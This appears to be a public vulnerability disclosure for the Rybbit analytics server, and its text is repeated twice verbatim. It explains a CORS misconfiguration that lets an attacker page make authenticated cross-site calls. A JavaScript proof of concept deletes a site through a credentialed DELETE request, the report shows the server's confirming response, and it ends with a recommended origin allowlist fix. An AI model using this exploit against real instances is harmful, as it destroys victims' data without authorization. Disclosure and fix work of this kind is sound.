reported via email on 1 June 2026 - no response.
I found a cross-site request forgery vulnerability in Rybbit that allows any attacker who can get an authenticated admin to visit a web page to silently delete sites, change configuration, and manipulate organization membership.
Root cause: The Fastify CORS middleware reflects any HTTP Origin with "Access-Control-Allow-Credentials: true" (server/src/index.ts). At the same time, session cookies are issued with "SameSite=None" in production (server/src/lib/auth.ts). Because SameSite=None instructs browsers to send the cookie on all cross-site requests, any HTTPS attacker page can make a fully-authenticated API call and read the response.
Proof of concept:
Step 1. Host this page on any HTTPS domain.
<script>
fetch("https://rybbit.victim.com/api/sites/1", {
method: "DELETE",
credentials: "include",
}).then(r => r.json()).then(console.log);
</script>
Step 2. Send the URL to an admin or owner of the Rybbit instance.
Step 3. When the victim opens the page, their session cookie is sent automatically. The server responds:
HTTP/1.1 200 OK
access-control-allow-origin: https://attacker.example.com/
access-control-allow-credentials: true
{"success":true}
The site is deleted and the response is readable by the attacker's JavaScript.
Verified live against commit 4765805 running in production mode.
Fix: Replace the wildcard CORS handler with an explicit origin allowlist for the management API. The analytics ingestion routes (POST /api/track, POST /api/identify) can keep permissive CORS since they are legitimately called from third-party pages, but the authenticated management endpoints (/api/organizations, /api/sites, /api/user, /api/auth) should only allow the configured BASE_URL origin.
reported via email on 1 June 2026 - no response.
I found a cross-site request forgery vulnerability in Rybbit that allows any attacker who can get an authenticated admin to visit a web page to silently delete sites, change configuration, and manipulate organization membership.
Root cause: The Fastify CORS middleware reflects any HTTP Origin with "Access-Control-Allow-Credentials: true" (server/src/index.ts). At the same time, session cookies are issued with "SameSite=None" in production (server/src/lib/auth.ts). Because SameSite=None instructs browsers to send the cookie on all cross-site requests, any HTTPS attacker page can make a fully-authenticated API call and read the response.
Proof of concept:
Step 1. Host this page on any HTTPS domain.
<script> fetch("https://rybbit.victim.com/api/sites/1", { method: "DELETE", credentials: "include", }).then(r => r.json()).then(console.log); </script>Step 2. Send the URL to an admin or owner of the Rybbit instance.
Step 3. When the victim opens the page, their session cookie is sent automatically. The server responds:
HTTP/1.1 200 OK
access-control-allow-origin: https://attacker.example.com/
access-control-allow-credentials: true
{"success":true}
The site is deleted and the response is readable by the attacker's JavaScript.
Verified live against commit 4765805 running in production mode.
Fix: Replace the wildcard CORS handler with an explicit origin allowlist for the management API. The analytics ingestion routes (POST /api/track, POST /api/identify) can keep permissive CORS since they are legitimately called from third-party pages, but the authenticated management endpoints (/api/organizations, /api/sites, /api/user, /api/auth) should only allow the configured BASE_URL origin.